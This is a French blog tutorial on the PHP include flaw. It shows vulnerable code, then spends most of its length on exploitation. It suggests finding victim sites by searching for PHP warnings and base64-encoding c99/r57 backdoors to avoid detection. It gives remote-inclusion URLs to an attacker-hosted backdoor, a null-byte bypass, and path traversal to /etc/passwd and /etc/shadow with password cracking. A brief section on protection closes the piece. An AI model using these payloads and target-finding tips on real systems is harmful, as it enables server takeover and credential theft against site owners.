Faille PHP Include, c’est quoi et comment s’en protéger ?

faille include
faille include

Dernière mise à jour : 1 janvier 2023

Nous avons déjà parlé dans les tutoriels précédents de la faille upload et la faille XSS. Aujourd’hui, je vais vous présenter la faille PHP Include qui est certainement la faille PHP la plus connue dans le monde des sites web, du à une erreur de programmation commise par un développeur peu soucieux en matière de sécurité.

Nous allons voir en détails comment exploiter cette faille et bien sur comment s’en protéger.

Et, non, l’article ne va pas s’autodétruire d’ici 5 secondes :), alors prenez le temps de le lire pour en savoir plus sur la faille PHP Include

PHP Include c’est quoi ?

Cette fonction permet, comme son nom l’indique, d’inclure une page dans une autre , on l’utilise comme ceci :

<?php
include(« page.php »);
?>

Exemple

Si toutes vos pages requièrent la page mysql.php dans laquelle sont contenues les informations de connexion a la base de données, il convient de l’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de mysql.php dans toutes celle-ci.

La fonction PHP include vous permettre de n’avoir qu’une seule page mysql.php, et toutes les pages de votre site l’incluront (le même cas pour le menu, header et le footer)

Comment ça fonctionne PHP Include?

Imaginez que nous avons une page index.php avec le code suivant:

<?php
if(isset($_GET[‘page’])) // vérifier s’il existe la variable _GET
include($_GET[‘page’]);
else
include(‘default.php’);
?>

Si on tape: http:// index.php?page=astuces.php

Ce bout de code inclura (et exécutera) la page « astuces.php ». Jusqu’ici, rien de bien compliqué.
Maintenant, qu’est ce qu’il va se passer si je tapes l’url suivante:
http://index.php?page=http://www.google.fr

Alors la page Google s’exécutera et s’affichera sur notre serveur ! Imaginez que cette page en question soit une porte dérobée comme c99.php. Nous pourrons alors prendre le contrôle du serveur hébergeur. Ainsi on pourra lister tous les fichiers du serveurs, les éditer, en créer, accéder à la base de données, etc…

Détecter la présence d’une faille PHP Include ?

Pour détecter une faille PHP include sur un site web, il suffit de tester tous les paramètres possibles d’une URL et d’observer le résultat. Le but est de faire planter le site web en essayant d’inclure une page qui n’existe pas.
Si une une URL est vulnérable alors nous devons avoir un warning PHP de ce type :

  • Warning:  main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
  • Warning: main(): Failed opening ‘[PARAMETRE_INCORRECT]’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]

Tapez dans le moteur recherche une des deux warning et vous trouverez votre bonheur ! 😀 Vous pouvez toujours essayer mais sachez que c’est illégal !

Comment exploiter cette faille ?

Exploiter la faille include a distance

Tout d’abord, vous devez avoir un script PHP (porte dérobée) près a être employer.

Pour cela tapez dans google une backdoor précise comme r57, c99, c100 myshell, etc. Il préférable de l’encoder en base64 encoding pour ne pas être détecter.

Supposons que vous avez trouvé la faille PHP Include sur un site web PHP, et qu’elle permette l’inclusion de n’importe quelle page. Maintenant, il ne vous reste plus qu’à placer votre porte dérobée sur un serveur FTP ou un serveur gratuit n’exécutant pas le PHP.

Quelque soit la solution choisie, vous pouvez donc appeler la page vulnérable de cette manière :
index.php?page=http://votre-serveur.com/porte-derobee.php
(si elle est sur un serveur FTP, remplacez évidemment http :// par ftp :// et indiquez le login/pass de manière habituelle).

Et vous verrez votre  porte dérobée s’afficher comme suit:

Interface backdoor

Parfois, on tombe sur une page vulnérable mais avec un code différent de celui que nous avons vu dans le paragraphe précédent, par exemple :

<?php
if(isset($_GET[‘page’]))
include($_GET[‘page’] . « .php »);
else
include(‘default.php’);
?>

Ici l’extension « .php » est automatiquement rajoutée à la variable. Cela force notre fichier porte-derobee.php a devenir porte-derobee.php.php et ça ne va pas s’exécuter sur le serveur vulnérable.

Alors que faire ?

Il existe une solution très simple pour échapper à ce filtre. C’est la technique null byte. Il consiste à placer un zéro ASCII a la fin de notre URL. Il faudra donc inclure :
index.php?page=http://notre-serveur.com/porte-derobee.php%00

Explication

La fonction include() va être traitée par une fonction programmée en langage C. Et en C, on désigne la fin d’une chaîne de caractères par un octet null (x00 en notation classique). c’est pour ça notre chaîne de caractère(porte-derobee.php%00.php) sera tronqué en trouvant le caractère %00 !

La faille include en local

Nous n’avons Jusqu’ici cherché qu’à inclure une porte dérobée a distance. Mais sachez qu’il est tout à fait possible, avec cette faille d’exécuter un fichier se trouvant sur le serveur vulnérable ! Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines protections désactivent la possibilité d’inclure du code situé sur un autre serveur.

Nous pouvons donc afficher tous les pages a l’intérieur de l’index, de cette manière: http://www.cible.com/index.php?page=/test/test.php
Et comme ça, nous allons pouvoir naviguer dans tout les répertoires du site, voir même du serveur s’il n’est pas chmoder

En pratique, c’est assez simple, en faite nous allons essayer de deviner dans quel répertoire ils se trouvent un fichier intéressant comme htpasswd, en testant successivement des paramètres comme « ../.htpasswd » ou « ../../.htpasswd » ou encore « ../dossier/.htpasswd ».

Ou nous pouvons remonter jusqu’à la racine du serveur puis aller dans le répertoire qui nous intéresse jusqu’à voir un fichier sensible, par exemple :

http://cible.com/index.php?page=../../../../../../../etc/ passwd

Une fois les fichiers de mot de passes récupérés, vous pouvez les crackers avec un programme adéquat comme John The Ripper ou Cain.

Voici d’autre fichiers qui peuvent être intéressant a visiter, même si parfois (comme pour etc/shadow) il n’est accessible que pour l’utilisateur root.

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user

Se protéger de la faille Include

La meilleure façon pour se protéger d’une include PHP est de :

  • Faire un test pour chaque pages de votre site, certes c’est long mais il n’y a pas mieux à vous de voir après.
    if ( $page ==  » astuces ») { include ( » astuces. php ») }
    if ( $page ==  » photos ») { include ( » photos. php »)}
    .
    else { include ( » index. php ») }
  • En php4, mettre la commande allow_url_fopen à off. Cette dernier permet la lecture de fichiers situés sur un autre serveur;
  • En php5, mettre la commande allow_url_include à off. C’est un apport par rapport à php4, qui distingue les fichiers lus des fichiers inclus.

Comme dans tous les articles, j’espère que j’ai répondu à vos attentes et que j’ai pu vous apporter quelque chose de nouveau a travers ce billet. J’espère aussi que tous les webmasters ont pris conscience du danger de cette faille.